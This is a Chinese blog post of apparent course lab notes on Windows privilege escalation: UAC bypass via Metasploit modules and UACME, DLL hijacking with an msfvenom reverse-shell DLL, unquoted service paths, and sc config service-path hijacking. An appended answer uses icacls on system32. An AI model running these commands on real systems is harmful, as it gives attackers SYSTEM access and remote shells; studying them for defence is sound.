【权限提升】WIN本地用户&BypassUAC&DLL劫持&引号路径&服务权限

文章内容复现于小迪安全相关课程

Win7&10-BypassUAC自动提权-MSF&UACME

用户账户控制-UAC

用户帐户控制User Account Control,简写作UAC)是 微软公司在其 Windows Vista及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对 应用程序使用 硬盘驱动器系统文件授权,以达到帮助阻止 恶意程序(有时也称为“ 恶意软件”)损坏系统的效果。

四种级别

总是通知将会:
当程序试图安装软件或对电脑做出更改时通知你。
当你对 Windows 设置进行更改时通知你。
冻结其他任务,直到你做出响应。
注意:如果你经常安装新软件或访问陌生网站,则推荐使用此选项。
仅当相关程序尝试更改我的计算机时通知我
当程序试图安装软件或对电脑做出更改时通知你。
当你对 Windows 设置进行更改时不通知你。
冻结其他任务,直到你做出响应。
注意:如果你经常安装新软件或访问不熟悉的网站,但更改 Windows 设置时不希望收到通知,则建议使用此选项。
仅当相关程序尝试更改计算机时通知我(不降低桌面亮度)
当程序试图安装软件或对电脑做出更改时通知你。
当你对 Windows 设置进行更改时不通知你。
不会冻结其他任务或等待响应。
注意:如果需要花费很长时间才能降低计算机上的桌面亮度时,才建议选择此选项。否则,建议选择上面的一种选项。
从不通知(禁用 UAC)将会:
当程序试图安装软件或对电脑做出更改时不通知你。
当你对 Windows 设置进行更改时不通知你。
不会冻结其他任务或等待响应。
注意:出于安全考虑,此选项不推荐使用。

为了远程执行目标的exe或者bat可执行文件绕过此安全机制,以此叫BypassUAC

绕过项目:MSF内置,UACME项目(推荐),Powershell渗透框架

开启UAC和未开启UAC时,MSF默认getsystem提权影响(进程注入)

未开启UAC getsystem直接提权成功:

开启UAC msf直接提权不成功:

1、MSF模块:

-Test in Win7 本地电脑 本地权限

use exploit/windows/local/bypassua

该模块不适用于win10操作系统:

-Test in Win10 本地电脑 本地权限

use exploit/windows/local/ask #对方电脑弹框,需要目标电脑确定,但是通杀各种版本

录制的视频有点大(一分半),插不进来,详见百度云视频链接

use exploit/windows/local/bypassuac_sluihijack
use exploit/windows/local/bypassuac_silentcleanup #使用方法类似,适用于win10操作系统

2、UACME项目:百度云链接

GitHub - hfiref0x/UACME: Defeating Windows User Account Control(可以自己下载最新版本源代码自行编译,百度云中是编译好的)

Defeating Windows User Account Control by abusing built-in Windows AutoElevate backdoor.
x86-32/x64 Windows 7/8/8.1/10/11 (client, some methods however works on server version too).
Admin account with UAC set on default settings required.

Run examples: 61个选项即61种方式绕过UAC

akagi32.exe 23
akagi64.exe 61
akagi32 23 c:\windows\system32\calc.exe
akagi64 61 c:\windows\system32\charmap.exe
好用的编号 23  61
Akagi64.exe 编号 调用执行

调用后门程序如果没反应的话就多尝试其他编号

3、Powershell渗透框架:

暂时搁置……

Win2012-DLL劫持提权应用配合MSF-FlashFXP

程序运行过程中加载的动态链接库;limux下以so为后缀

原理:Windows程序启动的时候需要DLL。如果这些DLL 不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。


通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:
1、应用程序加载的目录
2、C:\Windows\System32
3、C:\Windows\System
4、C:\Windows
5、当前工作目录Current Working Directory,CWD
6、在PATH环境变量的目录(先系统后用户)

过程:信息收集-进程调试-制作dll并上传-替换dll-启动应用后成功

检测: ChkDllHijack 火绒剑

上方dll文件在C:\Windows目录下,普通用户权限不够,不能够劫持。下方dll文件在程序当前目录下,可以尝试劫持。

项目:GitHub - anhkgg/anhkgg-tools: Anhkgg's Tools 百度云链接

拖入程序,输入相关进程路径,检测能否劫持

能够劫持 测试程序flashfxp(模拟对方服务器上部署的ftp服务) 百度云链接

‘’不能劫持

利用火绒剑进行进程分析加载DLL,一般寻程序DLL利用。

msf生成 dll劫持文件

msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.10.146 lport=4444 -f dll -o ssleay32.dll

提前信息收集相关软件及DLL问题程序,本地调试成功后覆盖DLL实现利用

条件:需要管理员去触发执行靶机上flashfxp程序,实现dll劫持

不带引号服务路径配合MSF-MacroExpert

原理:即使正确引用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以直接修改它导致重定向执行文件。
过程:检测服务权限配置-制作文件并上传-更改服务路径指向-调用后成功

检测项目:JAWS

GitHub - 411Hall/JAWS: JAWS - Just Another Windows (Enum) Script

Usage:

Run from within CMD shell and write out to file.


CMD C:\temp> powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename JAWS-Enum.txt

Run from within CMD shell and write out to screen.


CMD C:\temp> powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1

Run from within PS Shell and write out to file.


PS C:\temp> .\jaws-enum.ps1 -OutputFileName Jaws-Enum.txt
带引号:
"C:\Program Files (x86)\Common Files\Adobe\AdobeUpdateService.exe"
带引号 有空格的目录还是一个整体
不带引号:
C:\Progra m Files (x86)\Common Files\Adobe\AdobeUpdateService.exe(中间有空格)
不带引号 有空格的目录就会认为是文件加参数
条件:需要目标靶机可以运行powershell脚本,

Test in win server 2008

这里我直接在靶机上直接运行的脚本,powershell上实在太慢了

生成了一个455kb的结果,截取其中我们想要获取的部分

以 C:\Program Files (x86)\Windows Media Player\wmplayer.exe 为例,我们将后门改查Program.exe 并且上传至C盘根目录下,等到服务器重启或者对应服务重启后,后门以system权限上线。

检测命令:(功能同JAWS 并且排查winodws下目录(windows目录下权限不够))

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

上传反弹exe,设置好对应执行名后,执行sc start "OfficeUpdateService"

不安全的服务权限配合MSF-NewServices

原理:即使正确引用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以直接修改它导致重定向执行文件。
过程:检测服务权限配置-制作文件并上传-更改服务路径指向-调用后成功
检测脚本:accesschk PowerUp(PowerSploit)

1、accesschk.exe -uwcqv "administrators" *   #检测所有服务以权限
2、Import-Module .\PowerUp.ps1
Invoke-All Checks

重点关注 权限为 SERVICE_ALL_ACCESS 的服务

GitHub - PowerShellMafia/PowerSploit: PowerSploit - A PowerShell Post-Exploitation Framework

AccessChk - Sysinternals | Microsoft Learn

sc config "OfficeUpdateService" binpath="C:\Program.exe" #需要本地用户权限 webshell权限不行
sc start OfficeUpdateService
注:路径的空格引号问题 但是没有修改服务本身路径的权限
服务权限问题 可以修改服务对应的路径

部分复现有丢失,后续再补
  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Win7系统中,如果你想将一个dll文件放入system32文件夹,你需要具有管理员权限。你可以通过以下步骤来实现: 1. 打开命令提示符窗口,可以通过按下Win键+R,然后输入"cmd"并按下回车键来打开。 2. 在命令提示符窗口中,输入以下命令并按下回车键: ``` icacls C:\Windows\system32 /grant administrators:F ``` 这个命令将会给administrators组分配对system32文件夹的完全控制权限。\[1\] 3. 输入以下命令并按下回车键: ``` copy <dll文件路径> C:\Windows\system32 ``` 将"<dll文件路径>"替换为你要放入system32文件夹的dll文件的实际路径。这个命令将会将dll文件复制到system32文件夹中。 4. 现在你应该成功将dll文件放入了system32文件夹中。请注意,这个操作需要管理员权限,所以确保你以管理员身份运行了命令提示符窗口。\[2\]\[3\] #### 引用[.reference_title] - *1* [Win7下如何重命名,替换System32文件夹下的系统文件](https://blog.csdn.net/zy_strive_2012/article/details/79470829)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* *3* [kernel32.dll动态链接库报错解决方法win7,怎么修复kernel32.dll文件缺失](https://blog.csdn.net/xiufujun/article/details/127266259)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值